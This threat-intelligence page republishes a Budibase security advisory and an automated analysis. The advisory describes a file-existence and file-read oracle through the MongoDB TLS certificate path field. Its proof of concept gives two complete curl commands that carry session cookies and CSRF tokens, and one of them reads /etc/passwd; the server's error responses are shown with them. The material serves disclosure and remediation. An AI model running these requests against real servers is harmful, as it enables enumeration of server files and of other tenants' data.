Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile (CVE-2026-73409)
## Summary When creating a MongoDB datasource, Budibase passes the `tlsCertificateKeyFile` and `tlsCAFile` fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning `/api/datasources/verify` into an arbitrary-path existence/read oracle over the whole server filesystem. ## Root Cause `packages/server/src/integrations/mongodb.ts` passes `config.tlsCertificateKeyFile` / `config.tlsCAFile` directly to `new MongoClient(config.connectionString, options)` as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / `..` paths. POC ## Reproduction — paste each line, press Enter Line 1 (existing file — proves the file is READ): ``` curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/etc/passwd"}}}' ``` RESPONSE {"connected":false,"error":"error:0480006C:PEM routines::no start line"} Line 2 (missing file — path is reflected): ``` curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/nonexistent/pentest/xyz"}}}' ``` RESPONSE {"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"} ### Actual output ```text /etc/passwd -> {"connected":false,"error":"error:0480006C:PEM routines::no start line"} (EXISTS, was READ) /nonexistent/pentest/xyz -> {"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"} (MISSING, path reflected) ``` Existing files return a "PEM routines" error (the file was read but is not PEM); missing files return `ENOENT ... open '<path>'` with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs. ## Impact | Who / what is affected | How | |---|---| | The underlying multi-tenant Cloud server | Arbitrary-path existence/read oracle from a builder account | | Server config / secret files, other tenants' paths | Located by enumerating paths (exists vs missing) | | PEM/certificate files on the server | Content exfiltratable via mutual-TLS to an attacker MongoDB server (mechanism) | ## Recommended Fix 1. On managed/Cloud, disallow `tlsCertificateKeyFile` / `tlsCAFile` as filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory. 2. Reject absolute and `..` paths; confine any file reference to an allow-listed certificates directory. 3. Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.
AI Analysis
Technical Summary
Budibase improperly passes the tlsCertificateKeyFile and tlsCAFile configuration fields directly to the MongoDB driver as filesystem paths without validation or confinement. On Budibase Cloud, where customers cannot place files on the server, this allows a builder to specify arbitrary absolute paths on the multi-tenant server. When verifying the datasource, the MongoDB driver attempts to read these files, causing the server to reveal whether the file exists and, if it does, returning errors indicating file content was read. This creates an arbitrary-path existence and read oracle on the server filesystem accessible via the /api/datasources/verify endpoint. The vulnerability arises from lack of allow-listing, no path confinement, and acceptance of absolute and relative paths with '..'.
Potential Impact
An attacker with builder-level access can enumerate arbitrary files on the underlying multi-tenant Budibase Cloud server by observing differing error responses from the datasource verification API. This can expose server configuration files, secrets, and other tenants' files. Additionally, PEM/certificate files can be exfiltrated via mutual-TLS connections to an attacker-controlled MongoDB server. This compromises confidentiality of sensitive server data and potentially other tenants' data in a shared environment.
Mitigation Recommendations
No official patch or fix is documented in the provided data. Recommended mitigations include disallowing filesystem paths for tlsCertificateKeyFile and tlsCAFile on managed/cloud environments, instead accepting PEM content and writing it to a temporary file in a fixed directory. Absolute and '..' paths should be rejected, and file references confined to an allow-listed certificates directory. Additionally, routing MongoDB connection hosts through SSRF blacklists is advised. Until an official fix is released, restrict builder permissions and avoid using untrusted MongoDB datasource configurations with these fields.
Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile (CVE-2026-73409)
Description
## Summary When creating a MongoDB datasource, Budibase passes the `tlsCertificateKeyFile` and `tlsCAFile` fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning `/api/datasources/verify` into an arbitrary-path existence/read oracle over the whole server filesystem. ## Root Cause `packages/server/src/integrations/mongodb.ts` passes `config.tlsCertificateKeyFile` / `config.tlsCAFile` directly to `new MongoClient(config.connectionString, options)` as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / `..` paths. POC ## Reproduction — paste each line, press Enter Line 1 (existing file — proves the file is READ): ``` curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/etc/passwd"}}}' ``` RESPONSE {"connected":false,"error":"error:0480006C:PEM routines::no start line"} Line 2 (missing file — path is reflected): ``` curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/nonexistent/pentest/xyz"}}}' ``` RESPONSE {"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"} ### Actual output ```text /etc/passwd -> {"connected":false,"error":"error:0480006C:PEM routines::no start line"} (EXISTS, was READ) /nonexistent/pentest/xyz -> {"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"} (MISSING, path reflected) ``` Existing files return a "PEM routines" error (the file was read but is not PEM); missing files return `ENOENT ... open '<path>'` with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs. ## Impact | Who / what is affected | How | |---|---| | The underlying multi-tenant Cloud server | Arbitrary-path existence/read oracle from a builder account | | Server config / secret files, other tenants' paths | Located by enumerating paths (exists vs missing) | | PEM/certificate files on the server | Content exfiltratable via mutual-TLS to an attacker MongoDB server (mechanism) | ## Recommended Fix 1. On managed/Cloud, disallow `tlsCertificateKeyFile` / `tlsCAFile` as filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory. 2. Reject absolute and `..` paths; confine any file reference to an allow-listed certificates directory. 3. Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.
CVSS v4.0
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
Budibase improperly passes the tlsCertificateKeyFile and tlsCAFile configuration fields directly to the MongoDB driver as filesystem paths without validation or confinement. On Budibase Cloud, where customers cannot place files on the server, this allows a builder to specify arbitrary absolute paths on the multi-tenant server. When verifying the datasource, the MongoDB driver attempts to read these files, causing the server to reveal whether the file exists and, if it does, returning errors indicating file content was read. This creates an arbitrary-path existence and read oracle on the server filesystem accessible via the /api/datasources/verify endpoint. The vulnerability arises from lack of allow-listing, no path confinement, and acceptance of absolute and relative paths with '..'.
Potential Impact
An attacker with builder-level access can enumerate arbitrary files on the underlying multi-tenant Budibase Cloud server by observing differing error responses from the datasource verification API. This can expose server configuration files, secrets, and other tenants' files. Additionally, PEM/certificate files can be exfiltrated via mutual-TLS connections to an attacker-controlled MongoDB server. This compromises confidentiality of sensitive server data and potentially other tenants' data in a shared environment.
Mitigation Recommendations
No official patch or fix is documented in the provided data. Recommended mitigations include disallowing filesystem paths for tlsCertificateKeyFile and tlsCAFile on managed/cloud environments, instead accepting PEM content and writing it to a temporary file in a fixed directory. Absolute and '..' paths should be rejected, and file references confined to an allow-listed certificates directory. Additionally, routing MongoDB connection hosts through SSRF blacklists is advised. Until an official fix is released, restrict builder permissions and avoid using untrusted MongoDB datasource configurations with these fields.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-ppr4-5f46-j9c6
- Osv Schema Version
- 1.4.0
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- HIGH
- Cvss Version
- 4.0
Threat ID: 6a6542309c2644c7f808a736
Added to database: 07/25/2026, 23:09:36 UTC
Last enriched: 07/25/2026, 23:57:24 UTC
Last updated: 09/07/2026, 16:25:44 UTC
Views: 101
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.